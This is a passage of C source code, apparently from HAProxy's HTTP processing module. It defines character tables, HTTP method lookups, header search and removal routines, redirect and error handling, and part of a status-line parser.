.list = LIST_HEAD_INIT(http_req_keywords.list)
};
/* List head of all known action keywords for "http-response" */
struct http_res_action_kw_list http_res_keywords = {
.list = LIST_HEAD_INIT(http_res_keywords.list)
};
/* We must put the messages here since GCC cannot initialize consts depending
* on strlen().
*/
struct chunk http_err_chunks[HTTP_ERR_SIZE];
/* this struct is used between calls to smp_fetch_hdr() or smp_fetch_cookie() */
static struct hdr_ctx static_hdr_ctx;
#define FD_SETS_ARE_BITFIELDS
#ifdef FD_SETS_ARE_BITFIELDS
/*
* This map is used with all the FD_* macros to check whether a particular bit
* is set or not. Each bit represents an ACSII code. FD_SET() sets those bytes
* which should be encoded. When FD_ISSET() returns non-zero, it means that the
* byte should be encoded. Be careful to always pass bytes from 0 to 255
* exclusively to the macros.
*/
fd_set hdr_encode_map[(sizeof(fd_set) > (256/8)) ? 1 : ((256/8) / sizeof(fd_set))];
fd_set url_encode_map[(sizeof(fd_set) > (256/8)) ? 1 : ((256/8) / sizeof(fd_set))];
fd_set http_encode_map[(sizeof(fd_set) > (256/8)) ? 1 : ((256/8) / sizeof(fd_set))];
#else
#error "Check if your OS uses bitfields for fd_sets"
#endif
static int http_apply_redirect_rule(struct redirect_rule *rule, struct session *s, struct http_txn *txn);
void init_proto_http()
{
int i;
char *tmp;
int msg;
for (msg = 0; msg < HTTP_ERR_SIZE; msg++) {
if (!http_err_msgs[msg]) {
Alert("Internal error: no message defined for HTTP return code %d. Aborting.\n", msg);
abort();
}
http_err_chunks[msg].str = (char *)http_err_msgs[msg];
http_err_chunks[msg].len = strlen(http_err_msgs[msg]);
}
/* initialize the log header encoding map : '{|}"#' should be encoded with
* '#' as prefix, as well as non-printable characters ( <32 or >= 127 ).
* URL encoding only requires '"', '#' to be encoded as well as non-
* printable characters above.
*/
memset(hdr_encode_map, 0, sizeof(hdr_encode_map));
memset(url_encode_map, 0, sizeof(url_encode_map));
memset(http_encode_map, 0, sizeof(url_encode_map));
for (i = 0; i < 32; i++) {
FD_SET(i, hdr_encode_map);
FD_SET(i, url_encode_map);
}
for (i = 127; i < 256; i++) {
FD_SET(i, hdr_encode_map);
FD_SET(i, url_encode_map);
}
tmp = "\"#{|}";
while (*tmp) {
FD_SET(*tmp, hdr_encode_map);
tmp++;
}
tmp = "\"#";
while (*tmp) {
FD_SET(*tmp, url_encode_map);
tmp++;
}
/* initialize the http header encoding map. The draft httpbis define the
* header content as:
*
* HTTP-message = start-line
* *( header-field CRLF )
* CRLF
* [ message-body ]
* header-field = field-name ":" OWS field-value OWS
* field-value = *( field-content / obs-fold )
* field-content = field-vchar [ 1*( SP / HTAB ) field-vchar ]
* obs-fold = CRLF 1*( SP / HTAB )
* field-vchar = VCHAR / obs-text
* VCHAR = %x21-7E
* obs-text = %x80-FF
*
* All the chars are encoded except "VCHAR", "obs-text", SP and HTAB.
* The encoded chars are form 0x00 to 0x08, 0x0a to 0x1f and 0x7f. The
* "obs-fold" is volontary forgotten because haproxy remove this.
*/
memset(http_encode_map, 0, sizeof(http_encode_map));
for (i = 0x00; i <= 0x08; i++)
FD_SET(i, http_encode_map);
for (i = 0x0a; i <= 0x1f; i++)
FD_SET(i, http_encode_map);
FD_SET(0x7f, http_encode_map);
/* memory allocations */
pool2_requri = create_pool("requri", REQURI_LEN, MEM_F_SHARED);
pool2_uniqueid = create_pool("uniqueid", UNIQUEID_LEN, MEM_F_SHARED);
}
/*
* We have 26 list of methods (1 per first letter), each of which can have
* up to 3 entries (2 valid, 1 null).
*/
struct http_method_desc {
enum http_meth_t meth;
int len;
const char text[8];
};
const struct http_method_desc http_methods[26][3] = {
['C' - 'A'] = {
[0] = { .meth = HTTP_METH_CONNECT , .len=7, .text="CONNECT" },
},
['D' - 'A'] = {
[0] = { .meth = HTTP_METH_DELETE , .len=6, .text="DELETE" },
},
['G' - 'A'] = {
[0] = { .meth = HTTP_METH_GET , .len=3, .text="GET" },
},
['H' - 'A'] = {
[0] = { .meth = HTTP_METH_HEAD , .len=4, .text="HEAD" },
},
['P' - 'A'] = {
[0] = { .meth = HTTP_METH_POST , .len=4, .text="POST" },
[1] = { .meth = HTTP_METH_PUT , .len=3, .text="PUT" },
},
['T' - 'A'] = {
[0] = { .meth = HTTP_METH_TRACE , .len=5, .text="TRACE" },
},
/* rest is empty like this :
* [1] = { .meth = HTTP_METH_NONE , .len=0, .text="" },
*/
};
const struct http_method_name http_known_methods[HTTP_METH_OTHER] = {
[HTTP_METH_NONE] = { "", 0 },
[HTTP_METH_OPTIONS] = { "OPTIONS", 7 },
[HTTP_METH_GET] = { "GET", 3 },
[HTTP_METH_HEAD] = { "HEAD", 4 },
[HTTP_METH_POST] = { "POST", 4 },
[HTTP_METH_PUT] = { "PUT", 3 },
[HTTP_METH_DELETE] = { "DELETE", 6 },
[HTTP_METH_TRACE] = { "TRACE", 5 },
[HTTP_METH_CONNECT] = { "CONNECT", 7 },
};
/* It is about twice as fast on recent architectures to lookup a byte in a
* table than to perform a boolean AND or OR between two tests. Refer to
* RFC2616 for those chars.
*/
const char http_is_spht[256] = {
[' '] = 1, ['\t'] = 1,
};
const char http_is_crlf[256] = {
['\r'] = 1, ['\n'] = 1,
};
const char http_is_lws[256] = {
[' '] = 1, ['\t'] = 1,
['\r'] = 1, ['\n'] = 1,
};
const char http_is_sep[256] = {
['('] = 1, [')'] = 1, ['<'] = 1, ['>'] = 1,
['@'] = 1, [','] = 1, [';'] = 1, [':'] = 1,
['"'] = 1, ['/'] = 1, ['['] = 1, [']'] = 1,
['{'] = 1, ['}'] = 1, ['?'] = 1, ['='] = 1,
[' '] = 1, ['\t'] = 1, ['\\'] = 1,
};
const char http_is_ctl[256] = {
[0 ... 31] = 1,
[127] = 1,
};
/*
* A token is any ASCII char that is neither a separator nor a CTL char.
* Do not overwrite values in assignment since gcc-2.95 will not handle
* them correctly. Instead, define every non-CTL char's status.
*/
const char http_is_token[256] = {
[' '] = 0, ['!'] = 1, ['"'] = 0, ['#'] = 1,
['$'] = 1, ['%'] = 1, ['&'] = 1, ['\''] = 1,
['('] = 0, [')'] = 0, ['*'] = 1, ['+'] = 1,
[','] = 0, ['-'] = 1, ['.'] = 1, ['/'] = 0,
['0'] = 1, ['1'] = 1, ['2'] = 1, ['3'] = 1,
['4'] = 1, ['5'] = 1, ['6'] = 1, ['7'] = 1,
['8'] = 1, ['9'] = 1, [':'] = 0, [';'] = 0,
['<'] = 0, ['='] = 0, ['>'] = 0, ['?'] = 0,
['@'] = 0, ['A'] = 1, ['B'] = 1, ['C'] = 1,
['D'] = 1, ['E'] = 1, ['F'] = 1, ['G'] = 1,
['H'] = 1, ['I'] = 1, ['J'] = 1, ['K'] = 1,
['L'] = 1, ['M'] = 1, ['N'] = 1, ['O'] = 1,
['P'] = 1, ['Q'] = 1, ['R'] = 1, ['S'] = 1,
['T'] = 1, ['U'] = 1, ['V'] = 1, ['W'] = 1,
['X'] = 1, ['Y'] = 1, ['Z'] = 1, ['['] = 0,
['\\'] = 0, [']'] = 0, ['^'] = 1, ['_'] = 1,
['`'] = 1, ['a'] = 1, ['b'] = 1, ['c'] = 1,
['d'] = 1, ['e'] = 1, ['f'] = 1, ['g'] = 1,
['h'] = 1, ['i'] = 1, ['j'] = 1, ['k'] = 1,
['l'] = 1, ['m'] = 1, ['n'] = 1, ['o'] = 1,
['p'] = 1, ['q'] = 1, ['r'] = 1, ['s'] = 1,
['t'] = 1, ['u'] = 1, ['v'] = 1, ['w'] = 1,
['x'] = 1, ['y'] = 1, ['z'] = 1, ['{'] = 0,
['|'] = 1, ['}'] = 0, ['~'] = 1,
};
/*
* An http ver_token is any ASCII which can be found in an HTTP version,
* which includes 'H', 'T', 'P', '/', '.' and any digit.
*/
const char http_is_ver_token[256] = {
['.'] = 1, ['/'] = 1,
['0'] = 1, ['1'] = 1, ['2'] = 1, ['3'] = 1, ['4'] = 1,
['5'] = 1, ['6'] = 1, ['7'] = 1, ['8'] = 1, ['9'] = 1,
['H'] = 1, ['P'] = 1, ['T'] = 1,
};
/*
* Adds a header and its CRLF at the tail of the message's buffer, just before
* the last CRLF. Text length is measured first, so it cannot be NULL.
* The header is also automatically added to the index <hdr_idx>, and the end
* of headers is automatically adjusted. The number of bytes added is returned
* on success, otherwise <0 is returned indicating an error.
*/
int http_header_add_tail(struct http_msg *msg, struct hdr_idx *hdr_idx, const char *text)
{
int bytes, len;
len = strlen(text);
bytes = buffer_insert_line2(msg->chn->buf, msg->chn->buf->p + msg->eoh, text, len);
if (!bytes)
return -1;
http_msg_move_end(msg, bytes);
return hdr_idx_add(len, 1, hdr_idx, hdr_idx->tail);
}
/*
* Adds a header and its CRLF at the tail of the message's buffer, just before
* the last CRLF. <len> bytes are copied, not counting the CRLF. If <text> is NULL, then
* the buffer is only opened and the space reserved, but nothing is copied.
* The header is also automatically added to the index <hdr_idx>, and the end
* of headers is automatically adjusted. The number of bytes added is returned
* on success, otherwise <0 is returned indicating an error.
*/
int http_header_add_tail2(struct http_msg *msg,
struct hdr_idx *hdr_idx, const char *text, int len)
{
int bytes;
bytes = buffer_insert_line2(msg->chn->buf, msg->chn->buf->p + msg->eoh, text, len);
if (!bytes)
return -1;
http_msg_move_end(msg, bytes);
return hdr_idx_add(len, 1, hdr_idx, hdr_idx->tail);
}
/*
* Checks if <hdr> is exactly <name> for <len> chars, and ends with a colon.
* If so, returns the position of the first non-space character relative to
* <hdr>, or <end>-<hdr> if not found before. If no value is found, it tries
* to return a pointer to the place after the first space. Returns 0 if the
* header name does not match. Checks are case-insensitive.
*/
int http_header_match2(const char *hdr, const char *end,
const char *name, int len)
{
const char *val;
if (hdr + len >= end)
return 0;
if (hdr[len] != ':')
return 0;
if (strncasecmp(hdr, name, len) != 0)
return 0;
val = hdr + len + 1;
while (val < end && HTTP_IS_SPHT(*val))
val++;
if ((val >= end) && (len + 2 <= end - hdr))
return len + 2; /* we may replace starting from second space */
return val - hdr;
}
/* Find the first or next occurrence of header <name> in message buffer <sol>
* using headers index <idx>, and return it in the <ctx> structure. This
* structure holds everything necessary to use the header and find next
* occurrence. If its <idx> member is 0, the header is searched from the
* beginning. Otherwise, the next occurrence is returned. The function returns
* 1 when it finds a value, and 0 when there is no more. It is very similar to
* http_find_header2() except that it is designed to work with full-line headers
* whose comma is not a delimiter but is part of the syntax. As a special case,
* if ctx->val is NULL when searching for a new values of a header, the current
* header is rescanned. This allows rescanning after a header deletion.
*/
int http_find_full_header2(const char *name, int len,
char *sol, struct hdr_idx *idx,
struct hdr_ctx *ctx)
{
char *eol, *sov;
int cur_idx, old_idx;
cur_idx = ctx->idx;
if (cur_idx) {
/* We have previously returned a header, let's search another one */
sol = ctx->line;
eol = sol + idx->v[cur_idx].len;
goto next_hdr;
}
/* first request for this header */
sol += hdr_idx_first_pos(idx);
old_idx = 0;
cur_idx = hdr_idx_first_idx(idx);
while (cur_idx) {
eol = sol + idx->v[cur_idx].len;
if (len == 0) {
/* No argument was passed, we want any header.
* To achieve this, we simply build a fake request. */
while (sol + len < eol && sol[len] != ':')
len++;
name = sol;
}
if ((len < eol - sol) &&
(sol[len] == ':') &&
(strncasecmp(sol, name, len) == 0)) {
ctx->del = len;
sov = sol + len + 1;
while (sov < eol && http_is_lws[(unsigned char)*sov])
sov++;
ctx->line = sol;
ctx->prev = old_idx;
ctx->idx = cur_idx;
ctx->val = sov - sol;
ctx->tws = 0;
while (eol > sov && http_is_lws[(unsigned char)*(eol - 1)]) {
eol--;
ctx->tws++;
}
ctx->vlen = eol - sov;
return 1;
}
next_hdr:
sol = eol + idx->v[cur_idx].cr + 1;
old_idx = cur_idx;
cur_idx = idx->v[cur_idx].next;
}
return 0;
}
/* Find the end of the header value contained between <s> and <e>. See RFC2616,
* par 2.2 for more information. Note that it requires a valid header to return
* a valid result. This works for headers defined as comma-separated lists.
*/
char *find_hdr_value_end(char *s, const char *e)
{
int quoted, qdpair;
quoted = qdpair = 0;
for (; s < e; s++) {
if (qdpair) qdpair = 0;
else if (quoted) {
if (*s == '\\') qdpair = 1;
else if (*s == '"') quoted = 0;
}
else if (*s == '"') quoted = 1;
else if (*s == ',') return s;
}
return s;
}
/* Find the first or next occurrence of header <name> in message buffer <sol>
* using headers index <idx>, and return it in the <ctx> structure. This
* structure holds everything necessary to use the header and find next
* occurrence. If its <idx> member is 0, the header is searched from the
* beginning. Otherwise, the next occurrence is returned. The function returns
* 1 when it finds a value, and 0 when there is no more. It is designed to work
* with headers defined as comma-separated lists. As a special case, if ctx->val
* is NULL when searching for a new values of a header, the current header is
* rescanned. This allows rescanning after a header deletion.
*/
int http_find_header2(const char *name, int len,
char *sol, struct hdr_idx *idx,
struct hdr_ctx *ctx)
{
char *eol, *sov;
int cur_idx, old_idx;
cur_idx = ctx->idx;
if (cur_idx) {
/* We have previously returned a value, let's search
* another one on the same line.
*/
sol = ctx->line;
ctx->del = ctx->val + ctx->vlen + ctx->tws;
sov = sol + ctx->del;
eol = sol + idx->v[cur_idx].len;
if (sov >= eol)
/* no more values in this header */
goto next_hdr;
/* values remaining for this header, skip the comma but save it
* for later use (eg: for header deletion).
*/
sov++;
while (sov < eol && http_is_lws[(unsigned char)*sov])
sov++;
goto return_hdr;
}
/* first request for this header */
sol += hdr_idx_first_pos(idx);
old_idx = 0;
cur_idx = hdr_idx_first_idx(idx);
while (cur_idx) {
eol = sol + idx->v[cur_idx].len;
if (len == 0) {
/* No argument was passed, we want any header.
* To achieve this, we simply build a fake request. */
while (sol + len < eol && sol[len] != ':')
len++;
name = sol;
}
if ((len < eol - sol) &&
(sol[len] == ':') &&
(strncasecmp(sol, name, len) == 0)) {
ctx->del = len;
sov = sol + len + 1;
while (sov < eol && http_is_lws[(unsigned char)*sov])
sov++;
ctx->line = sol;
ctx->prev = old_idx;
return_hdr:
ctx->idx = cur_idx;
ctx->val = sov - sol;
eol = find_hdr_value_end(sov, eol);
ctx->tws = 0;
while (eol > sov && http_is_lws[(unsigned char)*(eol - 1)]) {
eol--;
ctx->tws++;
}
ctx->vlen = eol - sov;
return 1;
}
next_hdr:
sol = eol + idx->v[cur_idx].cr + 1;
old_idx = cur_idx;
cur_idx = idx->v[cur_idx].next;
}
return 0;
}
int http_find_header(const char *name,
char *sol, struct hdr_idx *idx,
struct hdr_ctx *ctx)
{
return http_find_header2(name, strlen(name), sol, idx, ctx);
}
/* Remove one value of a header. This only works on a <ctx> returned by one of
* the http_find_header functions. The value is removed, as well as surrounding
* commas if any. If the removed value was alone, the whole header is removed.
* The ctx is always updated accordingly, as well as the buffer and HTTP
* message <msg>. The new index is returned. If it is zero, it means there is
* no more header, so any processing may stop. The ctx is always left in a form
* that can be handled by http_find_header2() to find next occurrence.
*/
int http_remove_header2(struct http_msg *msg, struct hdr_idx *idx, struct hdr_ctx *ctx)
{
int cur_idx = ctx->idx;
char *sol = ctx->line;
struct hdr_idx_elem *hdr;
int delta, skip_comma;
if (!cur_idx)
return 0;
hdr = &idx->v[cur_idx];
if (sol[ctx->del] == ':' && ctx->val + ctx->vlen + ctx->tws == hdr->len) {
/* This was the only value of the header, we must now remove it entirely. */
delta = buffer_replace2(msg->chn->buf, sol, sol + hdr->len + hdr->cr + 1, NULL, 0);
http_msg_move_end(msg, delta);
idx->used--;
hdr->len = 0; /* unused entry */
idx->v[ctx->prev].next = idx->v[ctx->idx].next;
if (idx->tail == ctx->idx)
idx->tail = ctx->prev;
ctx->idx = ctx->prev; /* walk back to the end of previous header */
ctx->line -= idx->v[ctx->idx].len + idx->v[cur_idx].cr + 1;
ctx->val = idx->v[ctx->idx].len; /* point to end of previous header */
ctx->tws = ctx->vlen = 0;
return ctx->idx;
}
/* This was not the only value of this header. We have to remove between
* ctx->del+1 and ctx->val+ctx->vlen+ctx->tws+1 included. If it is the
* last entry of the list, we remove the last separator.
*/
skip_comma = (ctx->val + ctx->vlen + ctx->tws == hdr->len) ? 0 : 1;
delta = buffer_replace2(msg->chn->buf, sol + ctx->del + skip_comma,
sol + ctx->val + ctx->vlen + ctx->tws + skip_comma,
NULL, 0);
hdr->len += delta;
http_msg_move_end(msg, delta);
ctx->val = ctx->del;
ctx->tws = ctx->vlen = 0;
return ctx->idx;
}
/* This function handles a server error at the stream interface level. The
* stream interface is assumed to be already in a closed state. An optional
* message is copied into the input buffer, and an HTTP status code stored.
* The error flags are set to the values in arguments. Any pending request
* in this buffer will be lost.
*/
static void http_server_error(struct session *s, struct stream_interface *si,
int err, int finst, int status, const struct chunk *msg)
{
channel_auto_read(si->ob);
channel_abort(si->ob);
channel_auto_close(si->ob);
channel_erase(si->ob);
channel_auto_close(si->ib);
channel_auto_read(si->ib);
if (status > 0 && msg) {
s->txn.status = status;
bo_inject(si->ib, msg->str, msg->len);
}
if (!(s->flags & SN_ERR_MASK))
s->flags |= err;
if (!(s->flags & SN_FINST_MASK))
s->flags |= finst;
}
/* This function returns the appropriate error location for the given session
* and message.
*/
struct chunk *http_error_message(struct session *s, int msgnum)
{
if (s->be->errmsg[msgnum].str)
return &s->be->errmsg[msgnum];
else if (s->fe->errmsg[msgnum].str)
return &s->fe->errmsg[msgnum];
else
return &http_err_chunks[msgnum];
}
/*
* returns HTTP_METH_NONE if there is nothing valid to read (empty or non-text
* string), HTTP_METH_OTHER for unknown methods, or the identified method.
*/
enum http_meth_t find_http_meth(const char *str, const int len)
{
unsigned char m;
const struct http_method_desc *h;
m = ((unsigned)*str - 'A');
if (m < 26) {
for (h = http_methods[m]; h->len > 0; h++) {
if (unlikely(h->len != len))
continue;
if (likely(memcmp(str, h->text, h->len) == 0))
return h->meth;
};
return HTTP_METH_OTHER;
}
return HTTP_METH_NONE;
}
/* Parse the URI from the given transaction (which is assumed to be in request
* phase) and look for the "/" beginning the PATH. If not found, return NULL.
* It is returned otherwise.
*/
static char *
http_get_path(struct http_txn *txn)
{
char *ptr, *end;
ptr = txn->req.chn->buf->p + txn->req.sl.rq.u;
end = ptr + txn->req.sl.rq.u_l;
if (ptr >= end)
return NULL;
/* RFC2616, par. 5.1.2 :
* Request-URI = "*" | absuri | abspath | authority
*/
if (*ptr == '*')
return NULL;
if (isalpha((unsigned char)*ptr)) {
/* this is a scheme as described by RFC3986, par. 3.1 */
ptr++;
while (ptr < end &&
(isalnum((unsigned char)*ptr) || *ptr == '+' || *ptr == '-' || *ptr == '.'))
ptr++;
/* skip '://' */
if (ptr == end || *ptr++ != ':')
return NULL;
if (ptr == end || *ptr++ != '/')
return NULL;
if (ptr == end || *ptr++ != '/')
return NULL;
}
/* skip [user[:passwd]@]host[:[port]] */
while (ptr < end && *ptr != '/')
ptr++;
if (ptr == end)
return NULL;
/* OK, we got the '/' ! */
return ptr;
}
/* Parse the URI from the given string and look for the "/" beginning the PATH.
* If not found, return NULL. It is returned otherwise.
*/
static char *
http_get_path_from_string(char *str)
{
char *ptr = str;
/* RFC2616, par. 5.1.2 :
* Request-URI = "*" | absuri | abspath | authority
*/
if (*ptr == '*')
return NULL;
if (isalpha((unsigned char)*ptr)) {
/* this is a scheme as described by RFC3986, par. 3.1 */
ptr++;
while (isalnum((unsigned char)*ptr) || *ptr == '+' || *ptr == '-' || *ptr == '.')
ptr++;
/* skip '://' */
if (*ptr == '\0' || *ptr++ != ':')
return NULL;
if (*ptr == '\0' || *ptr++ != '/')
return NULL;
if (*ptr == '\0' || *ptr++ != '/')
return NULL;
}
/* skip [user[:passwd]@]host[:[port]] */
while (*ptr != '\0' && *ptr != ' ' && *ptr != '/')
ptr++;
if (*ptr == '\0' || *ptr == ' ')
return NULL;
/* OK, we got the '/' ! */
return ptr;
}
/* Returns a 302 for a redirectable request that reaches a server working in
* in redirect mode. This may only be called just after the stream interface
* has moved to SI_ST_ASS. Unprocessable requests are left unchanged and will
* follow normal proxy processing. NOTE: this function is designed to support
* being called once data are scheduled for forwarding.
*/
void http_perform_server_redirect(struct session *s, struct stream_interface *si)
{
struct http_txn *txn;
struct server *srv;
char *path;
int len, rewind;
/* 1: create the response header */
trash.len = strlen(HTTP_302);
memcpy(trash.str, HTTP_302, trash.len);
srv = objt_server(s->target);
/* 2: add the server's prefix */
if (trash.len + srv->rdr_len > trash.size)
return;
/* special prefix "/" means don't change URL */
if (srv->rdr_len != 1 || *srv->rdr_pfx != '/') {
memcpy(trash.str + trash.len, srv->rdr_pfx, srv->rdr_len);
trash.len += srv->rdr_len;
}
/* 3: add the request URI. Since it was already forwarded, we need
* to temporarily rewind the buffer.
*/
txn = &s->txn;
b_rew(s->req->buf, rewind = http_hdr_rewind(&txn->req));
path = http_get_path(txn);
len = buffer_count(s->req->buf, path, b_ptr(s->req->buf, txn->req.sl.rq.u + txn->req.sl.rq.u_l));
b_adv(s->req->buf, rewind);
if (!path)
return;
if (trash.len + len > trash.size - 4) /* 4 for CRLF-CRLF */
return;
memcpy(trash.str + trash.len, path, len);
trash.len += len;
if (unlikely(txn->flags & TX_USE_PX_CONN)) {
memcpy(trash.str + trash.len, "\r\nProxy-Connection: close\r\n\r\n", 29);
trash.len += 29;
} else {
memcpy(trash.str + trash.len, "\r\nConnection: close\r\n\r\n", 23);
trash.len += 23;
}
/* prepare to return without error. */
si_shutr(si);
si_shutw(si);
si->err_type = SI_ET_NONE;
si->state = SI_ST_CLO;
/* send the message */
http_server_error(s, si, SN_ERR_LOCAL, SN_FINST_C, 302, &trash);
/* FIXME: we should increase a counter of redirects per server and per backend. */
srv_inc_sess_ctr(srv);
srv_set_sess_last(srv);
}
/* Return the error message corresponding to si->err_type. It is assumed
* that the server side is closed. Note that err_type is actually a
* bitmask, where almost only aborts may be cumulated with other
* values. We consider that aborted operations are more important
* than timeouts or errors due to the fact that nobody else in the
* logs might explain incomplete retries. All others should avoid
* being cumulated. It should normally not be possible to have multiple
* aborts at once, but just in case, the first one in sequence is reported.
* Note that connection errors appearing on the second request of a keep-alive
* connection are not reported since this allows the client to retry.
*/
void http_return_srv_error(struct session *s, struct stream_interface *si)
{
int err_type = si->err_type;
if (err_type & SI_ET_QUEUE_ABRT)
http_server_error(s, si, SN_ERR_CLICL, SN_FINST_Q,
503, http_error_message(s, HTTP_ERR_503));
else if (err_type & SI_ET_CONN_ABRT)
http_server_error(s, si, SN_ERR_CLICL, SN_FINST_C,
503, (s->txn.flags & TX_NOT_FIRST) ? NULL :
http_error_message(s, HTTP_ERR_503));
else if (err_type & SI_ET_QUEUE_TO)
http_server_error(s, si, SN_ERR_SRVTO, SN_FINST_Q,
503, http_error_message(s, HTTP_ERR_503));
else if (err_type & SI_ET_QUEUE_ERR)
http_server_error(s, si, SN_ERR_SRVCL, SN_FINST_Q,
503, http_error_message(s, HTTP_ERR_503));
else if (err_type & SI_ET_CONN_TO)
http_server_error(s, si, SN_ERR_SRVTO, SN_FINST_C,
503, (s->txn.flags & TX_NOT_FIRST) ? NULL :
http_error_message(s, HTTP_ERR_503));
else if (err_type & SI_ET_CONN_ERR)
http_server_error(s, si, SN_ERR_SRVCL, SN_FINST_C,
503, (s->flags & SN_SRV_REUSED) ? NULL :
http_error_message(s, HTTP_ERR_503));
else if (err_type & SI_ET_CONN_RES)
http_server_error(s, si, SN_ERR_RESOURCE, SN_FINST_C,
503, (s->txn.flags & TX_NOT_FIRST) ? NULL :
http_error_message(s, HTTP_ERR_503));
else /* SI_ET_CONN_OTHER and others */
http_server_error(s, si, SN_ERR_INTERNAL, SN_FINST_C,
500, http_error_message(s, HTTP_ERR_500));
}
extern const char sess_term_cond[8];
extern const char sess_fin_state[8];
extern const char *monthname[12];
struct pool_head *pool2_requri;
struct pool_head *pool2_capture = NULL;
struct pool_head *pool2_uniqueid;
/*
* Capture headers from message starting at <som> according to header list
* <cap_hdr>, and fill the <cap> pointers appropriately.
*/
void capture_headers(char *som, struct hdr_idx *idx,
char **cap, struct cap_hdr *cap_hdr)
{
char *eol, *sol, *col, *sov;
int cur_idx;
struct cap_hdr *h;
int len;
sol = som + hdr_idx_first_pos(idx);
cur_idx = hdr_idx_first_idx(idx);
while (cur_idx) {
eol = sol + idx->v[cur_idx].len;
col = sol;
while (col < eol && *col != ':')
col++;
sov = col + 1;
while (sov < eol && http_is_lws[(unsigned char)*sov])
sov++;
for (h = cap_hdr; h; h = h->next) {
if (h->namelen && (h->namelen == col - sol) &&
(strncasecmp(sol, h->name, h->namelen) == 0)) {
if (cap[h->index] == NULL)
cap[h->index] =
pool_alloc2(h->pool);
if (cap[h->index] == NULL) {
Alert("HTTP capture : out of memory.\n");
continue;
}
len = eol - sov;
if (len > h->len)
len = h->len;
memcpy(cap[h->index], sov, len);
cap[h->index][len]=0;
}
}
sol = eol + idx->v[cur_idx].cr + 1;
cur_idx = idx->v[cur_idx].next;
}
}
/* either we find an LF at <ptr> or we jump to <bad>.
*/
#define EXPECT_LF_HERE(ptr, bad) do { if (unlikely(*(ptr) != '\n')) goto bad; } while (0)
/* plays with variables <ptr>, <end> and <state>. Jumps to <good> if OK,
* otherwise to <http_msg_ood> with <state> set to <st>.
*/
#define EAT_AND_JUMP_OR_RETURN(good, st) do { \
ptr++; \
if (likely(ptr < end)) \
goto good; \
else { \
state = (st); \
goto http_msg_ood; \
} \
} while (0)
/*
* This function parses a status line between <ptr> and <end>, starting with
* parser state <state>. Only states HTTP_MSG_RPVER, HTTP_MSG_RPVER_SP,
* HTTP_MSG_RPCODE, HTTP_MSG_RPCODE_SP and HTTP_MSG_RPREASON are handled. Others
* will give undefined results.
* Note that it is upon the caller's responsibility to ensure that ptr < end,
* and that msg->sol points to the beginning of the response.
* If a complete line is found (which implies that at least one CR or LF is
* found before <end>, the updated <ptr> is returned, otherwise NULL is
* returned indicating an incomplete line (which does not mean that parts have
* not been updated). In the incomplete case, if <ret_ptr> or <ret_state> are
* non-NULL, they are fed with the new <ptr> and <state> values to be passed
* upon next call.
*
* This function was intentionally designed to be called from
* http_msg_analyzer() with the lowest overhead. It should integrate perfectly
* within its state machine and use the same macros, hence the need for same
* labels and variable names. Note that msg->sol is left unchanged.
*/
const char *http_parse_stsline(struct http_msg *msg,
enum ht_state state, const char *ptr, const char *end,
unsigned int *ret_ptr, enum ht_state *ret_state)
{
const char *msg_start = msg->chn->buf->p;
switch (state) {
case HTTP_MSG_RPVER:
http_msg_rpver:
if (likely(HTTP_IS_VER_TOKEN(*ptr)))
EAT_AND_JUMP_OR_RETURN(http_msg_rpver, HTTP_MSG_RPVER);
if (likely(HTTP_IS_SPHT(*ptr))) {
msg->sl.st.v_l = ptr - msg_start;
EAT_AND_JUMP_OR_RETURN(http_msg_rpver_sp, HTTP_MSG_RPVER_SP);
}
state = HTTP_MSG_ERROR;
break;
case HTTP_MSG_RPVER_SP:
http_msg_rpver_sp:
if (likely(!HTTP_IS_LWS(*ptr))) {
msg->sl.st.c = ptr - msg_start;
goto http_msg_rpcode;
}
if (likely(HTTP_IS_SPHT(*ptr)))
EAT_AND_JUMP_OR_RETURN(http_msg_rpver_sp, HTTP_MSG_RPVER_SP);
/* so it's a CR/LF, this is invalid */
state = HTTP_MSG_ERROR;
break;
case HTTP_MSG_RPCODE:
http_msg_rpcode:
if (likely(!HTTP_IS_LWS(*ptr)))
EAT_AND_JUMP_OR_RETURN(http_msg_rpcode, HTTP_MSG_RPCODE);
if (likely(HTTP_IS_SPHT(*ptr))) {
msg->sl.st.c_l = ptr - msg_start - msg->sl.st.c;
EAT_AND_JUMP_OR_RETURN(http_msg_rpcode_sp, HTTP_MSG_RPCODE_SP);
}
/* so it's a CR/LF, so there is no reason phrase */
msg->sl.st.c_l = ptr - msg_start - msg->sl.st.c;
http_msg_rsp_reason:
/* FIXME: should we support HTTP responses without any reason phrase ? */
msg->sl.st.r = ptr - msg_start;
msg->sl.st.r_l = 0;
goto http_msg_rpline_eol;
case HTTP_MSG_RPCODE_SP:
http_msg_rpcode_sp:
if (likely(!HTTP_IS_LWS(*ptr))) {
msg->sl.st.r = ptr - msg_start;
goto http_msg_rpreason;
}
if (likely(HTTP_IS_SPHT(*ptr)))
EAT_AND_JUMP_OR_RETURN(http_msg_rpcode_sp, HTTP_MSG_RPCODE_SP);
/* so it's a CR/LF, so there is no reason phrase */
goto http_msg_rsp_reason;
case HTTP_MSG_RPREASON:
http_msg_rpreason:
if (likely(!HTTP_IS_CRLF(*ptr)))
EAT_AND_JUMP_OR_RETURN(http_msg_rpreason, HTTP_MSG_RPREASON);
msg->sl.st.r_l = ptr - msg_start - msg->sl.st.r;
http_msg_rpline_eol:
/* We have seen the end of line. Note that we do not
* necessarily have the \n yet, but at least we know that we
* have EITHER \r OR \n, otherwise the response would not be
* complete. We can then record the response length and return
* to the caller which will be able to register it.
*/
msg->sl.st.l = ptr - msg_start - msg->sol;
return ptr;
default:
#ifdef DEBUG_FULL
fprintf(stderr, "FIXME !!!! impossible state at %s:%d = %d\n", __FILE__, __LINE__, state);
exit(1);
#endif
;
}
http_msg_ood:
/* out of valid data */
if (ret_state)
*ret_state = state;
if (ret_ptr)
*ret_ptr = ptr - msg_start;
return NULL;
}
/*
* This function parses a request line between <ptr> and <end>, starting with
* parser state <state>. Only states HTTP_MSG_RQMETH, HTTP_MSG_RQMETH_SP,
* HTTP_MSG_RQURI, HTTP_MSG_RQURI_SP and HTTP_MSG_RQVER are handled. Others
* will give undefined results.
* Note that it is upon the caller's responsibility to ensure that ptr < end,
* and that msg->sol points to the beginning of the request.
* If a complete line is found (which implies that at least one CR or LF is
* found before <end>, the updated <ptr> is returned, otherwise NULL is
* returned indicating an incomplete line (which does not mean that parts have
* not been updated). In the incomplete case, if <ret_ptr> or <ret_state> are
* non-NULL, they are fed with the new <ptr> and <state> values to be passed
* upon next call.
*
* This function was intentionally designed to be called from
* http_msg_analyzer() with the lowest overhead. It should integrate perfectly
* within its state machine and use the same macros, hence the need for same
* labels and variable names. Note that msg->sol is left unchanged.
*/
